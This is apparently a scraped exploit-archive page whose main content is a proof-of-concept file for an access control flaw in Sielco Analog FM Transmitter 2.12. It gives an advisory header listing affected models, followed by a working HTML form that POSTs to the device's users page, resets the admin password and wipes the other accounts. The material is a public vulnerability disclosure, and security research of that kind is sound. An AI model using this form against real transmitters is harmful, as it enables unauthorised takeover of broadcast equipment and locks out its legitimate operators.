2f07358143
16 changes to exploits/shellcodes/ghdb InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal Sielco Analog FM Transmitter 2.12 - Remote Privilege Escalation Sielco Analog FM Transmitter 2.12 - 'id' Cookie Brute Force Session Hijacking Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP Sielco PolyEco Digital FM Transmitter 2.0.6 - Authentication Bypass Exploit Sielco PolyEco Digital FM Transmitter 2.0.6 - Authorization Bypass Factory Reset Sielco PolyEco Digital FM Transmitter 2.0.6 - Radio Data System POST Manipulation Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS) Bludit 4.0.0-rc-2 - Account takeover Microsoft Windows 11 - 'cmd.exe' Denial of Service
75 lines
No EOL
3.3 KiB
Text
75 lines
No EOL
3.3 KiB
Text
<!--
|
|
## Exploit Title: Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password
|
|
## Exploit Author: LiquidWorm
|
|
|
|
|
|
Vendor: Sielco S.r.l
|
|
Product web page: https://www.sielco.org
|
|
Affected version: 2.12 (EXC5000GX)
|
|
2.12 (EXC120GX)
|
|
2.11 (EXC300GX)
|
|
2.10 (EXC1600GX)
|
|
2.10 (EXC2000GX)
|
|
2.08 (EXC1600GX)
|
|
2.08 (EXC1000GX)
|
|
2.07 (EXC3000GX)
|
|
2.06 (EXC5000GX)
|
|
1.7.7 (EXC30GT)
|
|
1.7.4 (EXC300GT)
|
|
1.7.4 (EXC100GT)
|
|
1.7.4 (EXC5000GT)
|
|
1.6.3 (EXC1000GT)
|
|
1.5.4 (EXC120GT)
|
|
|
|
Summary: Sielco designs and produces FM radio transmitters
|
|
for professional broadcasting. The in-house laboratory develops
|
|
standard and customised solutions to meet all needs. Whether
|
|
digital or analogue, each product is studied to ensure reliability,
|
|
resistance over time and a high standard of safety. Sielco
|
|
transmitters are distributed throughout the world and serve
|
|
many radios in Europe, South America, Africa, Oceania and China.
|
|
|
|
Desc: The application suffers from improper access control when
|
|
editing users. A user with Read permissions can manipulate users,
|
|
passwords and permissions by sending a single HTTP POST request
|
|
with modified parameters and edit other users' names, passwords
|
|
and permissions including admin password.
|
|
|
|
Tested on: lwIP/2.1.1
|
|
Web/3.0.3
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2023-5756
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php
|
|
|
|
|
|
26.01.2023
|
|
|
|
-->
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://transmitter/protect/users.htm" method="POST">
|
|
<input type="hidden" name="pwd0" value="PWDCHANGED" /> <!-- This will set/modify admin pwd -->
|
|
<input type="hidden" name="pwd0bis" value="PWDCHANGED" /> <!-- This will set/modify admin pwd -->
|
|
<input type="hidden" name="user1" value="" /> <!-- This will set/modify user1 -->
|
|
<input type="hidden" name="pwd1" value="" /> <!-- This will set/modify user1 pwd -->
|
|
<input type="hidden" name="pwd1bis" value="" /> <!-- This will set/modify user1 pwd -->
|
|
<input type="hidden" name="auth1" value="0" /> <!-- This will set user1 read perm -->
|
|
<input type="hidden" name="user2" value="" /> <!-- This will set/modify user2 -->
|
|
<input type="hidden" name="pwd2" value="" /> <!-- This will set/modify user2 pwd -->
|
|
<input type="hidden" name="pwd2bis" value="" /> <!-- This will set/modify user2 pwd -->
|
|
<input type="hidden" name="auth2" value="0" /> <!-- This will set user2 read perm -->
|
|
<input type="hidden" name="user3" value="" /> <!-- This will set/modify user3 -->
|
|
<input type="hidden" name="pwd3" value="" /> <!-- This will set/modify user3 pwd -->
|
|
<input type="hidden" name="pwd3bis" value="" /> <!-- This will set/modify user3 pwd -->
|
|
<input type="hidden" name="auth3" value="0" /> <!-- This will set user3 read perm -->
|
|
<input type="submit" value="Modify admin pwd, delete all users" />
|
|
</form>
|
|
</body>
|
|
</html> |